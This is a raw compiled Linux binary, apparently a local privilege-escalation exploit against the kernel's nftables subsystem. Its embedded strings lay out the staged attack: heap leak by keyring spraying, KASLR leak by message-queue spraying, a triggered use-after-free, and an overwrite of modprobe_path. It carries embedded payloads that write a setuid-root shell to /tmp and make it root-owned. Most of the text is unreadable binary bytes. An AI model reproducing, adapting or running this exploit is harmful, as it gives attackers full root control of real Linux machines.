ELF>à#@À‡@8 @@@@ØØ€€ Í#Í#PPPÐаm°}°}0xÀmÀ}À}888@@xxx Såtd888@@Påtdà[à[à[,,QåtdRåtd°m°}°}PP/lib64/ld-linux-x86-64.so.20GNU€ÀÀÀGNU?¡€?A(ŒÑeÎmfUa9ò‹ßÿ:kf Ùä|®-�3�¤Õn0�ØÖ²[WF—±ò–À!Á)N�Î ëˆ�ç'&ë`8^L‹¹rÆ ¢, «ßuà�"Èð�ä‚_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablemnl_nlmsg_batch_headmnl_socket_openmnl_nlmsg_batch_startmnl_nlmsg_batch_sizemnl_nlmsg_batch_currentmnl_socket_sendtomnl_nlmsg_batch_nextnftnl_set_freenftnl_table_nlmsg_build_payloadnftnl_batch_endnftnl_set_add_exprnftnl_expr_allocnftnl_nlmsg_build_hdrnftnl_table_allocnftnl_batch_beginnftnl_set_nlmsg_build_payloadnftnl_set_set_u32nftnl_set_allocnftnl_table_set_u32nftnl_expr_set_u32nftnl_set_set_strnftnl_table_set_strnftnl_expr_set_str__cxa_finalizereadmallocwritegetpid__libc_start_mainmq_receivememsetsetvbufstrncmpgetuidstdoutputssystemmq_openmsgsndclosegetgidstrlensleepmq_sendsysconfexecvestdinsyscallsnprintfforkstderrmemcpysched_setaffinityperrorexitunshare__stack_chk_failcallocmmaplibmnl.so.0libnftnl.so.11libc.so.6LIBMNL_1.0LIBNFTNL_16LIBNFTNL_11GLIBC_2.14GLIBC_2.3.4GLIBC_2.4GLIBC_2.34GLIBC_2.2.5 5 `/5ZA0fÕã eaÕã qP”‘– }ti ˆii ”´‘–žui ©°}À$¸}€$Ø�Ø�ÀÈÐ(Ø<à@à�?ð�A‚B€€€€ €(€0€ 8€ @€ H€ P€ X€`€h€p€x€€€ˆ€�€˜€ €¨€°€¸€À€È€ЀØ€à€è€ ð€!ø€"�#�$�%�& �'(�)0�*8�+@�,H�-P�.X�/`�0h�1p�2x�3€�4ˆ�5��6˜�7 �8¨�9°�:¸�;À�=È�>HƒìH‹Å_H…ÀtÿÐHƒÄÃÿ5Ê_ÿ%Ì_@ÿ%Ê_héàÿÿÿÿ%Â_héÐÿÿÿÿ%º_héÀÿÿÿÿ%²_hé°ÿÿÿÿ%ª_hé ÿÿÿÿ%¢_hé�ÿÿÿÿ%š_hé€ÿÿÿÿ%’_hépÿÿÿÿ%Š_hé`ÿÿÿÿ%‚_h éPÿÿÿÿ%z_h é@ÿÿÿÿ%r_h é0ÿÿÿÿ%j_h é ÿÿÿÿ%b_h éÿÿÿÿ%Z_héÿÿÿÿ%R_héðþÿÿÿ%J_héàþÿÿÿ%B_héÐþÿÿÿ%:_héÀþÿÿÿ%2_hé°þÿÿÿ%*_hé þÿÿÿ%"_hé�þÿÿÿ%_hé€þÿÿÿ%_hépþÿÿÿ% _hé`þÿÿÿ%_héPþÿÿÿ%ú^hé@þÿÿÿ%ò^hé0þÿÿÿ%ê^hé þÿÿÿ%â^héþÿÿÿ%Ú^héþÿÿÿ%Ò^héðýÿÿÿ%Ê^h éàýÿÿÿ%Â^h!éÐýÿÿÿ%º^h"éÀýÿÿÿ%²^h#é°ýÿÿÿ%ª^h$é ýÿÿÿ%¢^h%é�ýÿÿÿ%š^h&é€ýÿÿÿ%’^h'épýÿÿÿ%Š^h(é`ýÿÿÿ%‚^h)éPýÿÿÿ%z^h*é@ýÿÿÿ%r^h+é0ýÿÿÿ%j^h,é ýÿÿÿ%b^h-éýÿÿÿ%Z^h.éýÿÿÿ%R^h/éðüÿÿÿ%J^h0éàüÿÿÿ%B^h1éÐüÿÿÿ%:^h2éÀüÿÿÿ%2^h3é°üÿÿÿ%*^h4é üÿÿÿ%"^h5é�üÿÿÿ%^h6é€üÿÿÿ%^h7épüÿÿÿ% ^h8é`üÿÿÿ%^h9éPüÿÿÿ% \f�1íI‰Ñ^H‰âHƒäðPTE1À1ÉH�=ÿ¿[ôf.„@H�=É]H�Â]H9øtH‹ž[H…Àt ÿà€Ã€H�=™]H�5’]H)þH‰ðHÁî?HÁøHÆHÑþtH‹m[H…ÀtÿàfDÀ€=�]u/UHƒ=N[H‰åt H‹=:]è-ÿÿÿèhÿÿÿÆY]]ÀÀé{ÿÿÿUH‰åHƒì0H‰}øH‰uðH‰UèH‰MàD‰EÜ‹}ÜH‹uàH‹MèH‹UðH‹EøA‰ùI‰ðH‰Æ¿ø¸èdýÿÿÉÃUH‰åHƒì0‰}üH‰uðH‰UèH‰MàL‰EØH‹}ØH‹uàH‹MèH‹Uð‹EüI‰ùI‰ð‰Æ¿ú¸èýÿÿÉÃUH‰åHƒìH‰}øH‹EøH‰Çè#ûÿÿ¿þÿÿÿèþÿÿUH‰åHƒìH‰}øH‹EøH‰Çèûÿÿ¿ÿÿÿÿè÷ýÿÿUH‰åHƒìH‰}øH‰uðH‹UðH‹EøH‰ÖH‰Ç¸è¯ûÿÿ�ÉÃUH‰åSHƒìX‰}¬‰u¨dH‹%(H‰Eè1À‹E¨¾H‰ÇèNüÿÿH‰E¸Hƒ}¸uH�;+H‰ÇèIÿÿÿ‹E¬‰E´é‘‹U´H�EÀ‰ÑH�+¾(H‰Ç¸èGûÿÿH�EÀH‰Çè»úÿÿH‰Á‹E´H�…H‹E¸H�H�UÀH�EÀA¸þÿÿÿH‰ÆH�ä*H‰ÇèJþÿÿ‰‹E´H�…H‹E¸HЋ…ÀyH�À*H‰Çè±þÿÿƒE´‹U¬‹E¨Ð9E´‚^ÿÿÿH‹E¸H‹UèdH+%(tè_úÿÿH‹]øÉÃUH‰åSHƒìh‰}¬H‰u H‰U˜H‰M�dH‹%(H‰Eè1À‹E¬¾H‰Çè2ûÿÿH‰E¸H‹E H‰EÀH�EÀHƒÀH‹U˜H‰H�EÀHƒÀºH� '*H‰ÎH‰Çè8ûÿÿH�EÀHƒÀH‹U�H‰Hƒ}¸uH�Ú)H‰Çè þÿÿÇE´ëe‹E´H�…H‹E¸H�H�UÀH�EÀA¸þÿÿÿ¹ H‰ÆH�±)H‰Çèýÿÿ‰‹E´H�…H‹E¸HЋ…ÀyH��)H‰Çè ýÿÿƒE´‹E´;E¬r“H‹E¸H‹UèdH+%(tè5ùÿÿH‹]øÉÃUH‰åSH�ìȉ½\ÿÿÿH‰µPÿÿÿH‰•HÿÿÿH‰�@ÿÿÿL‰…8ÿÿÿL‰�0ÿÿÿdH‹%(H‰Eè1À‹…\ÿÿÿ¾H‰ÇèèùÿÿH‰…hÿÿÿH‹…PÿÿÿHƒèHÁèHƒøwrH�…H� )‹H˜H�ý(HÐÿàH‹…HÿÿÿH‰E H�E HƒÀH‹•@ÿÿÿH‰H�E HƒÀH‹•8ÿÿÿH‰H�E HƒÀH‹•0ÿÿÿH‰H�E HƒÀ H‹UH‰ëH�€(H‰Çè`üÿÿÇ…dÿÿÿé“H�U H�…pÿÿÿ¾(H‰Ç¸è_øÿÿ‹…dÿÿÿH�…H‹…hÿÿÿH�H‹�PÿÿÿH�U H�E A¸þÿÿÿH‰ÆH�þ'H‰Çèdûÿÿ‰‹…dÿÿÿH�…H‹…hÿÿÿHЋ…ÀyH�Ô'H‰Çèçûÿÿƒ…dÿÿÿ‹…dÿÿÿ;…\ÿÿÿ‚[ÿÿÿH‹…hÿÿÿH‹UèdH+%(tèl÷ÿÿH‹]øÉÃUH‰åH�ì0H‰½Øÿþÿ‰µÔÿþÿdH‹%(H‰Eø1ÀH�…ðÿþÿºÿÿ¾H‰Çè¦÷ÿÿÇ…èÿþÿéÛH�•ðÿþÿ‹…èÿþÿH� …H‹…ØÿþÿHÈ‹H˜A¸¹H‰Æ¿ èºúÿÿ‰…ìÿþÿƒ½ìÿþÿyH�6'H‰ÇèãúÿÿH�…ðÿþÿHƒÀºH� 'H‰ÎH‰ÇèÌõÿÿ…Àu7H�…ðÿþÿH‹H‰oWH‹hWH‰ÆH�ö&H‰Ç¸è©öÿÿ‹…èÿþÿë=H�…ðÿþÿH‰ÆH�ý&H‰Ç¸èƒöÿÿƒ…èÿþÿ‹…èÿþÿ;…Ôÿþÿ‚ÿÿÿ‹…ÔÿþÿH‹UødH+%(tèöÿÿÉÃUH‰åH�ì0H‰½Øÿþÿ‰µÔÿþÿdH‹%(H‰Eø1ÀH�…ðÿþÿºÿÿ¾H‰ÇèNöÿÿH�•ðÿþÿ‹…ÔÿþÿH� …H‹…ØÿþÿHÈ‹H˜A¸¹H‰Æ¿èqùÿÿ‰…ìÿþÿ�H‹EødH+%(tèxõÿÿÉÃUH‰åHƒì H‰}è‰uäÇEüëK‹EüH�…H‹EèHЋH˜A¸¹ºH‰Æ¿è ùÿÿH…ÀyH�é%H‰Çè^ùÿÿƒEü‹Eü;Eär­H‹EèH‰Çèÿóÿÿ�ÉÃUH‰åHƒìH‰}ø‰uô‹EôH˜H�…H‹EøHЋH˜A¸¹ºH‰Æ¿è–øÿÿH…ÀyH�v%H‰Çèëøÿÿ�ÉÃUH‰åH�ì0‰½Üþÿÿ‰µØþÿÿdH‹%(H‰Eø1À¿Pèñóÿÿ¾H�E%H‰Ç¸èhöÿÿ‰…ìþÿÿ‹…ìþÿÿºH� 5%H‰Î‰ÇèÆóÿÿ‹…ìþÿÿ‰ÇèÉôÿÿ¾H�%H‰Ç¸è öÿÿ‰…ìþÿÿ‹•ÜþÿÿH�…ðþÿÿ‰ÑH�%¾H‰Ç¸è2ôÿÿH�…ðþÿÿH‰Çè£óÿÿH‰ÂH��ðþÿÿ‹…ìþÿÿH‰Î‰ÇèIóÿÿ‹…ìþÿÿ‰ÇèLôÿÿ¾H�´$H‰Ç¸è£õÿÿ‰…ìþÿÿ‹•ØþÿÿH�…ðþÿÿ‰ÑH�„$¾H‰Ç¸èµóÿÿH�…ðþÿÿH‰Çè&óÿÿH‰ÂH��ðþÿÿ‹…ìþÿÿH‰Î‰ÇèÌòÿÿ‹…ìþÿÿ‰ÇèÏóÿÿ�H‹EødH+%(tèóÿÿÉÃUH‰åAUATSH�ìˆH‰½hûÿÿH‰µ`ûÿÿdH‹%(H‰EØ1ÀH‰àI‰ÄH‹…`ûÿÿH‰…�ûÿÿHÇ…˜ûÿÿÆ…ûÿÿÇ…€ûÿÿèÖóÿÿH‰… ûÿÿH‹•�ûÿÿH‹… ûÿÿ¾H‰ÇèTôÿÿH‹… ûÿÿº¾H‰ÇèÛòÿÿèæôÿÿH‰…¨ûÿÿH��#H‰…˜ûÿÿH‹•�ûÿÿH‹…¨ûÿÿ¾H‰Çè†ñÿÿH‹•˜ûÿÿH‹…¨ûÿÿ¾H‰ÇèkñÿÿH‹…¨ûÿÿº¾H‰Çè²ñÿÿ¶•ûÿÿH‹…¨ûÿÿ¾H‰Çè—ñÿÿ‹…€ûÿÿ�P‰•€ûÿÿH‹�¨ûÿÿ‰Â¾H‰ÏèrñÿÿÇ…„ûÿÿ¿èîóÿÿH=ÿ¿èÜóÿÿH� ë¹@H�AÿH‰…°ûÿÿH‰Ê¸HƒèHлºH÷óHkÀH)ÄH‰àHƒÀH‰…¸ûÿÿH‰ÊH‹…¸ûÿÿH‰ÖH‰ÇèpðÿÿH‰…ÀûÿÿÇ…ˆûÿÿ‹…ˆûÿÿ�P‰•ˆûÿÿ‰ÃH‹…ÀûÿÿH‰Çèïñÿÿ‰ÞH‰ÇèåòÿÿH‹…ÀûÿÿH‰Çèæñÿÿ‹…ˆûÿÿ‰…Œûÿÿ‹…ˆûÿÿ�P‰•ˆûÿÿA‰Å¶�ûÿÿH‹…ÀûÿÿH‰Çè¢ñÿÿE‰è¹‰Ú¾H‰Çè›òÿÿH‰…ÈûÿÿH‹• ûÿÿH‹…ÈûÿÿH‰ÖH‰ÇèëïÿÿH‹…ÀûÿÿH‰Çèlñÿÿ‹…ˆûÿÿ�P‰•ˆûÿÿA‰Å¶�ûÿÿH‹…ÀûÿÿH‰Çè4ñÿÿE‰è¹‰Ú¾ H‰Çè-òÿÿH‰…ÈûÿÿH‹•¨ûÿÿH‹…ÈûÿÿH‰ÖH‰ÇèmòÿÿH‹…¨ûÿÿH‰ÇèþïÿÿH‹…ÀûÿÿH‰Çèïðÿÿ‹…ˆûÿÿ�P‰•ˆûÿÿ‰ÃH‹…ÀûÿÿH‰Çè¿ðÿÿ‰ÞH‰ÇèeñÿÿH‹…ÀûÿÿH‰Çè¶ðÿÿHƒ½hûÿÿuH�÷ H‰Æ¿¸èCñÿÿH‹…�ûÿÿH‰ÆH�ê H‰Ç¸èÕïÿÿH‹…ÀûÿÿH‰ÇèFïÿÿH‰ÃH‹…ÀûÿÿH‰ÇèðÿÿH‰ÁH‹…hûÿÿH‰ÚH‰ÎH‰ÇèÌîÿÿH…ÀyH�· H‰Æ¿¸èÎðÿÿL‰ä�H‹EØdH+%(tè&ïÿÿH�eè[A\A]]ÃUH‰åAUATSH�ìxH‰½ˆûÿÿH‰µ€ûÿÿH‰•xûÿÿdH‹%(H‰EØ1ÀH‰àI‰ÄH‹…€ûÿÿH‰… ûÿÿÆ…“ûÿÿÇ…”ûÿÿÇ…˜ûÿÿè#ñÿÿH‰…¨ûÿÿH‹• ûÿÿH‹…¨ûÿÿ¾H‰ÇèÑíÿÿH‹•xûÿÿH‹…¨ûÿÿ¾H‰Çè¶íÿÿH‹…¨ûÿÿº¾H‰ÇèýíÿÿH‹…¨ûÿÿº¾H‰Çèäíÿÿ¶•“ûÿÿH‹…¨ûÿÿ¾H‰ÇèÉíÿÿ‹•”ûÿÿH‹…¨ûÿÿ¾H‰Çè¯íÿÿH�H‰Çè ïÿÿ‹•˜ûÿÿHcÒH‰„ÕÐûÿÿ‹…˜ûÿÿH˜H‹„ÅÐûÿÿH�ÿ¾H‰ÇèÛìÿÿ‹…˜ûÿÿH˜H‹„ÅÐûÿÿº¾H‰Çèùïÿÿ‹…˜ûÿÿH˜H‹”ÅÐûÿÿH‹…¨ûÿÿH‰ÖH‰Çèwíÿÿƒ…˜ûÿÿ¿è¦ïÿÿH=ÿ¿è”ïÿÿH� ë¹@H�AÿH‰…°ûÿÿH‰Ê¸HƒèHлºH÷óHkÀH)ÄH‰àHƒÀH‰…¸ûÿÿH‰ÊH‹…¸ûÿÿH‰ÖH‰Çè(ìÿÿH‰…ÀûÿÿÇ…œûÿÿ‹…œûÿÿ�P‰•œûÿÿ‰ÃH‹…ÀûÿÿH‰Çè§íÿÿ‰ÞH‰Çè�îÿÿH‹…ÀûÿÿH‰Çèžíÿÿ‹…œûÿÿ�P‰•œûÿÿA‰Å¶�“ûÿÿH‹…ÀûÿÿH‰ÇèfíÿÿE‰è¹‰Ú¾ H‰Çè_îÿÿH‰…ÈûÿÿH‹•¨ûÿÿH‹…ÈûÿÿH‰ÖH‰ÇèŸîÿÿH‹…¨ûÿÿH‰Çè0ìÿÿH‹…ÀûÿÿH‰Çè!íÿÿ‹…œûÿÿ�P‰•œûÿÿ‰ÃH‹…ÀûÿÿH‰Çèñìÿÿ‰ÞH‰Çè—íÿÿH‹…ÀûÿÿH‰ÇèèìÿÿHƒ½ˆûÿÿuH�)H‰Æ¿¸èuíÿÿH‹…ÀûÿÿH‰Çè–ëÿÿH‰ÃH‹…ÀûÿÿH‰ÇèTìÿÿH‰ÁH‹…ˆûÿÿH‰ÚH‰ÎH‰ÇèëÿÿH…ÀyH�H‰Æ¿¸èíÿÿH�H‰ÇèßêÿÿL‰ä�H‹EØdH+%(tègëÿÿH�eè[A\A]]ÃUH‰åH�ì°‰½\ÿÿÿ‰µXÿÿÿdH‹%(H‰Eø1ÀH�…pÿÿÿH‰Æ¸ºH‰÷H‰ÑóH«‹…\ÿÿÿH˜H‰…hÿÿÿH�½hÿÿÿÿwMH‹…hÿÿÿHÁèH�ÅH��pÿÿÿHÊH‹H‹�hÿÿÿƒá?¾HÓæH‰ñH�4ÅH�…pÿÿÿHðH ÊH‰H�•pÿÿÿ‹…Xÿÿÿ¾€‰ÇèWëÿÿ…ÀyH�CH‰ÇèËîÿÿ�H‹EødH+%(tèoêÿÿÉÃUH‰åH�ì@‰½ÌþÿÿH‰µÀþÿÿ‰•ÈþÿÿdH‹%(H‰Eø1ÀÇ…ÔþÿÿÇ…ØþÿÿÇ…ÜþÿÿH�äH‰ÇèséÿÿÇ…Ðþÿÿë;‹•ÔþÿÿH‹µÀþÿÿ‹…Ìþÿÿ‰Ñº(‰Çè–êÿÿ…ÀtH�»H‰Çèóëÿÿƒ…Ðþÿÿ‹…Ðþÿÿ;…Èþÿÿ|·�H‹EødH+%(tè©éÿÿÉÃUH‰åH�ì0‰½Üþÿÿ‰µØþÿÿdH‹%(H‰Eø1ÀÇ…ìþÿÿH�]H‰ÇèÈèÿÿÇ…èþÿÿé’H�µðþÿÿ‹…Üþÿÿ¹º‰Çè;ëÿÿHƒøÿtgH�…ðþÿÿH‹H-€¯QH‰þIH‹÷IH ³èH‰úIH‹ãIH‰ÆH�þH‰Ç¸è,éÿÿH‹ÕIH‰ÆH�øH‰Ç¸èéÿÿƒ…èþÿÿ‹…èþÿÿ;…ØþÿÿŒ\ÿÿÿ¸H‹UødH+%(tèœèÿÿÉÃUH‰åH�ì0‰½Üþÿÿ‰µØþÿÿdH‹%(H‰Eø1ÀÇ…ìþÿÿH�PH‰Çè»çÿÿÇ…èþÿÿë%H�µðþÿÿ‹…Üþÿÿ¹º‰Çè1êÿÿƒ…èþÿÿ‹…èþÿÿ;…Øþÿÿ|͸H‹UødH+%(tèèÿÿÉÃUH‰åH�ì0 ‰½Üßÿÿ‰µØßÿÿ‰•ÔßÿÿdH‹%(H‰Eø1ÀH�…ðßÿÿH‰…èßÿÿH�øH‰ÇèçÿÿH‹…èßÿÿHÇ‹…Üßÿÿƒè0‰ÂH‹…èßÿÿHƒÀ¾AH‰ÇèèÿÿÇ…äßÿÿër‹…äßÿÿƒà…Àu‹…äßÿÿ‰ÆH�°H‰Ç¸è’çÿÿ‹…Üßÿÿƒè0‰ÂH‹µèßÿÿ‹…Ôßÿÿ¹‰Çè^èÿÿƒøÿuH��H‰Çè:éÿÿ¿ÿÿÿÿèpéÿÿƒ…äßÿÿ‹…äßÿÿ;…Øßÿÿr€�H‹EødH+%(tèææÿÿÉÃUH‰åHƒì‰}üH‰uðH‹Uð‹Eü‰Æ¿©¸èýçÿÿÉÃUH‰åSHƒì(‰}ÜH‰uÐHÇEèé×H‹EèHÁàH‰ÂH‹EÐH�¿xè1èÿÿH‰CH‹EèHÁàH‰ÂH‹EÐHÐH‹@H…ÀuH�ØH‰ÇèšêÿÿH‹EèHÁàH‰ÂH‹EÐHÐH‹@ºx¾H‰Çè«æÿÿH‹EèHÁàH‰ÂH‹EÐHÐH‹@H‹UèH‰ÑHÁáH‹UÐH�H‰Æ¿ èÿÿÿ‰H‹EèHÁàH‰ÂH‹EÐHЋ…ÀyH�XH‰ÇèêÿÿHƒEè‹EÜH9Eè‚ÿÿÿH‹EÐH‹]øÉÃUH‰åHƒì H‰}è‰uäÇEüë‹EüHÁàH‰ÂH‹EèHЋ‰ÇèæÿÿƒEü‹Eü;EärÚH‹EèH‰Çèfäÿÿ�ÉÃUH‰åHƒìH‰}ø‰uô‹EôHÁàH‰ÂH‹EøHЋ‰ÇèÚåÿÿ�ÉÃUH‰å¸è ¸èR�]ÃUH‰åHƒìºÿ¾BH�H‰Ç¸èçÿÿ‰Eü‹EüºH� ¡H‰Î‰Çèjäÿÿ‹Eü‰Çèpåÿÿ�ÉÃUH‰åHƒìºÿ¾BH�¤H‰Ç¸è·æÿÿ‰Eü‹Eüº­H� ¥H‰Î‰Çèäÿÿ‹Eü‰Çè!åÿÿH�H‰Çè¢äÿÿ�ÉÃUH‰åHƒì0dH‹%(H‰Eø1ÀHÇEàHÇEè¾H�öH‰Ç¸è?æÿÿ‰EØH�Mà‹EغH‰Î‰Çèåÿÿ‹E؉Çè¬äÿÿH�EàH‰ÆH�ÖH‰Ç¸è1äÿÿH�Eàºÿ¾BH‰Ç¸èæåÿÿ‰E܃}ÜyH�½H‰Çèèÿÿ‹Eܺ?H� H‰Î‰Çè5ãÿÿ‹E܉Çè;äÿÿ�H‹EødH+%(tè†ãÿÿÉÃUH‰å¸èÿÿÿ�]ÃUH‰åH‰}ø�H‹Eø‹…Àuö��]ÃUH‰åH‰}øH‹EøÇ�]ÃUH‰åH‰}øH‹EøÇ�]ÃUH‰åSH�ìÈ%‰½<ÚÿÿH‰µ0ÚÿÿdH‹%(H‰Eè1ÀH‹ÃC¹º¾H‰ÇèÜäÿÿH‹•C¹º¾H‰Çè¾äÿÿH‹—C¹º¾H‰Çè äÿÿH�…àÚÿÿH�R¹ H‰ÇH‰ÖóH¥HÇ… ÚÿÿHÇ…¨Úÿÿ HÇ…°ÚÿÿHÇ…¸ÚÿÿÇ…LÚÿÿA¹A¸ÿÿÿÿ¹!º¾¿èYâÿÿH‰…PÚÿÿ¿èØãÿÿH‰…XÚÿÿèåüÿÿH‹…PÚÿÿH‰Çè±þÿÿè˜äÿÿ…Àtuè¯áÿÿ‰Æ¿è—öÿÿH‹…PÚÿÿH‰Çèqþÿÿ¿èZäÿÿH�ÓH‰Çè+áÿÿ¸è=þÿÿº¾H�H‰Çè¨âÿÿº¾H�H‰Çè�âÿÿèúâÿÿ‰Ãè“áÿÿ‰Þ‰ÇèÙìÿÿ¾¿èöÿÿ¾¿èèlâÿÿH‰…`ÚÿÿHƒ½`ÚÿÿuH�SH‰ÇèƒåÿÿÇ…@ÚÿÿëoH�…àÚÿÿ‹•@ÚÿÿHcÒHÁâH�<H�… ÚÿÿH‰Áº¶¾B¸èZâÿÿ‹•@ÚÿÿHcÒ‰„•€Úÿÿ‹…@ÚÿÿH˜‹„…€Úÿÿ…ÀyH�DH‰Çèíäÿÿƒ…@Úÿÿƒ½@Úÿÿ~ˆ¿ èáÿÿH‰…hÚÿÿH� H‰ÇèøßÿÿH‹…hÚÿÿH�hH‰ÖH‰ÇègíÿÿH‹…hÚÿÿH�VH‰ÖH‰ÇèNíÿÿH‹…hÚÿÿH�DH‰ÖH‰Çè5íÿÿH‹…hÚÿÿH�2H‰ÖH‰ÇèíÿÿH�-H‰Çè…ßÿÿH‹…hÚÿÿH�uH� îH‰ÎH‰Çèêðÿÿ¾2¿èŠäÿÿH‰…pÚÿÿH‹…hÚÿÿH�LH� ¸H‰ÎH‰Çè´ðÿÿH‹…pÚÿÿ¾2H‰ÇèUèÿÿ‰…LÚÿÿƒ½LÚÿÿ2uH�H‰ÇèÂãÿÿH�&H‰ÇèîÞÿÿH‹…`ÚÿÿH‰Æ¿èè¿øÿÿH‹…hÚÿÿH�ZH� JH‰ÎH‰Çè?ðÿÿ‹…€ÚÿÿºH� HH‰Î‰ÇèÑôÿÿH‹…`Úÿÿ¾çH‰ÇèÇùÿÿÇ…DÚÿÿë%¸è+…DÚÿÿ‰ÂH‹…`Úÿÿ‰ÖH‰Çè�ùÿÿƒ…DÚÿÿƒ½DÚÿÿqÒH‹…`Úÿÿ¾æH‰ÇèyùÿÿH‹…hÚÿÿH�òH� ¬H‰ÎH‰Çè¡ïÿÿH‹�?H‹–?¹(H‰Æ¿dèCäÿÿH‰…xÚÿÿ‹…€Úÿÿ¾‰ÇèÜôÿÿ¿èùàÿÿH�ªH‰ÇèÊÝÿÿH‹…hÚÿÿH�òH� AH‰ÎH‰Çè/ïÿÿ‹…„ÚÿÿºH� 8H‰Î‰ÇèÁóÿÿH‹…hÚÿÿH�ÃH� H‰ÎH‰ÇèóîÿÿH‹ï>HºÿÿÿÿH!ÐH��tmp/H‹Ü>Hƒè¹H‰Æ¿è}ãÿÿH‰…pÚÿÿH‹…PÚÿÿH‰Çèyúÿÿ‹…„Úÿÿ¾‰Çèõÿÿ¿è$àÿÿÇ…HÚÿÿë‹•HÚÿÿH‹…`Úÿÿ‰ÖH‰Çèøÿÿƒ…HÚÿÿ�½HÚÿÿç~ÖëþHƒìHƒÄÃ/tmp/shell.c/tmp/dummy#include #include #include int main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts("[+] I am root");system("bash");}}ÿÿÿÿ#!/bin/bash chown root:root /tmp/shell chmod 4555 /tmp/shell callocSPRAY-RING-%03duuseradd_key12341234add_key - assert(len <= 0x28)×ÿÿ×ÿÿ%×ÿÿ7×ÿÿI×ÿÿkeyctlÿÿ[+] leak successed, kmalloc-64 heap: 0x%llx [-] leak failed, idkval: %s keyctl(KEYCTL_REVOKE)/proc/self/setgroupsdeny/proc/self/uid_map0 %d 1/proc/self/gid_mapset_stablemnl_socket_open[+] setting stable %s and set mnl_socket_sendlookup[+] triggering UAF set and overwrite *(prevchunk+0x18)sched_setaffinity[*] spraying mqueue...err: mq_send[*] gathering mqueue...[+] KASLR base: 0x%llx [+] modprobe addr: 0x%llx [*] try to spray msg_msg[*] spraying msg_msg: 0x%x msgsend failuremallocio_uring_creategcc -o /tmp/shell /tmp/shell.c -w/proc/sys/kernel/modprobe[*] current modprobe name: %s open [------------------------- stage 4: Execute Malicious File -------------------------------]/tmp/dummy/tmp/shellMQUEUE [------------------------- stage 0: Allocate stable table and set ------------------------]table1table2table3table4 [------------------------- stage 1: Leak heap address ------------------------------------]set_trigger0set_trigger1[-] leak failed... [------------------------- stage 2: Leak KASLR address -----------------------------------]set_trigger2TESTMSGTESTMSGTESTMSGTESTMSGTESTMSGset_trigger3 [------------------------- stage 3: Overwrite modprobe_path ------------------------------]set_trigger4set_trigger5/qname1/qname2/qname3/qname4/qname5;,$@ÄÿÿxðÇÿÿ ÈÿÿHåÈÿÿ¸.ÉÿÿØuÉÿÿø—Éÿÿ¹Éÿÿ0äÉÿÿP÷Êÿÿt!Ìÿÿ˜êÍÿÿ¼BÏÿÿÜÚÏÿÿüTÐÿÿ¯Ðÿÿ<8Òÿÿ\5Öÿÿ„ôÙÿÿ¬ãÚÿÿÌ©Ûÿÿì¶Üÿÿ OÝÿÿ,lÞÿÿL•Þÿÿl ßÿÿ�íßÿÿ°àÿÿÐ4àÿÿðƒàÿÿáàÿÿ0ÌáÿÿPÝáÿÿpôáÿÿ� âÿÿ°âÿÿÐzRx �°Æÿÿ"zRx �$ÀÂÿÿ°FJ w€?;*3$"DHÆÿÿ\%ÇÿÿIA†C D |NÇÿÿGA†C B œuÇÿÿ"A†C ¸{Çÿÿ"A†C Ô�Çÿÿ+A†C f  ôŒÇÿÿA†C Eƒ   {Èÿÿ*A†C Eƒ   <�ÉÿÿÉA†C Hƒ¼ `&ËÿÿXA†C S €^Ìÿÿ˜A†C “  ÖÌÿÿzA†C u À0Íÿÿ[A†C V àkÍÿÿ‰A†C „ $ÔÎÿÿýA†C L�Œƒì $(©Òÿÿ¿A†C L�Œƒ® P@ÖÿÿïA†C ê p×ÿÿÆA†C Á �µ×ÿÿ A†C  °¢Øÿÿ™A†C ” ÐÙÿÿA†C  ðÚÿÿ)A†C d  !Úÿÿ A†C Eƒ 4ÛÿÿMA†C H T5Ûÿÿ,A†C g tAÛÿÿA†C V ”<ÛÿÿOA†C J ´kÛÿÿ^A†C Y Ô©ÛÿÿëA†C æ ôtÜÿÿA†C L eÜÿÿA†C R 4\ÜÿÿA†C P TQÜÿÿA†C P tFÜÿÿÆA†C HƒÀ$€$5AP ÄC°}¸}õþÿo˜ Ð µ èp ûÿÿoþÿÿoXÿÿÿoðÿÿoÎ ùÿÿoÀ}6 F V f v † – ¦ ¶ Æ Ö æ ö !!&!6!F!V!f!v!†!–!¦!¶!Æ!Ö!æ!ö!""&"6"F"V"f"v"†"–"¦"¶"Æ"Ö"æ"ö"##&#6#F#V#f#v#†#–#¦#¶#Æ#Ø�GCC: (Gentoo 13.2.1_p20240113-r1 p12) 13.2.1 20240113ñÿÅ$I%GL:)ñÿ%À}.à[AèW‚a ‚o€Ÿ–8™´c<^Å.ýÞûÄ% *¬=AU qà�_ Ð�„¢Î§0P ß™%+äð�Ô5ï$6Hfy™à� <O²�,‰ÀíPÎÄCÔç!<‚FYj�}@P­ŠÊ)X›°º+z½Ýø €;M9KÁ<ë^qù;„¢(ÉÇ/9Õø)w%"7J]Ð�jˆ›u: §Q?¼Ð ߨ�ìþP  3ñOlŸ½(‚cà#"ÂU%"Æèà�ôþ=Æ» Pù Ô=+<4,[Q"+˜dw‹µ½=ÀßÃ6Æìé=öà�/‰7 = WÍ;,m2¿‹�×&*¼"× Ýî‚exp.cadd_keykeyctlio_uring_setup_DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE_base_basemodprobe_addrfree@GLIBC_2.2.5nftnl_expr_set_str@LIBNFTNL_11gather_mqueue_nosavecreate_priv_fileset_stable_table_and_set__libc_start_main@GLIBC_2.34spray_keyringmnl_nlmsg_batch_start@LIBMNL_1.0setup_modprobe_payloadstrncmp@GLIBC_2.2.5_ITM_deregisterTMCloneTablestdout@GLIBC_2.2.5nftnl_set_set_str@LIBNFTNL_11nftnl_table_nlmsg_build_payload@LIBNFTNL_11puts@GLIBC_2.2.5bye2mnl_socket_sendto@LIBMNL_1.0stdin@GLIBC_2.2.5set_cpu_affinityunshare@GLIBC_2.4write@GLIBC_2.2.5nftnl_set_set_u32@LIBNFTNL_11getpid@GLIBC_2.2.5mnl_nlmsg_batch_size@LIBMNL_1.0_edatacreate_dummy_fileunshare_setupdummy_content_finistrlen@GLIBC_2.2.5nftnl_set_free@LIBNFTNL_11nftnl_set_add_expr@LIBNFTNL_16__stack_chk_fail@GLIBC_2.4heap_basegetuid@GLIBC_2.2.5mmap@GLIBC_2.2.5system@GLIBC_2.2.5priv_contextget_keyring_leaksnprintf@GLIBC_2.2.5release_keysnftnl_table_set_u32@LIBNFTNL_11mnl_socket_open@LIBMNL_1.0memset@GLIBC_2.2.5release_uringmnl_nlmsg_batch_head@LIBMNL_1.0close@GLIBC_2.2.5write_new_modprobemq_send@G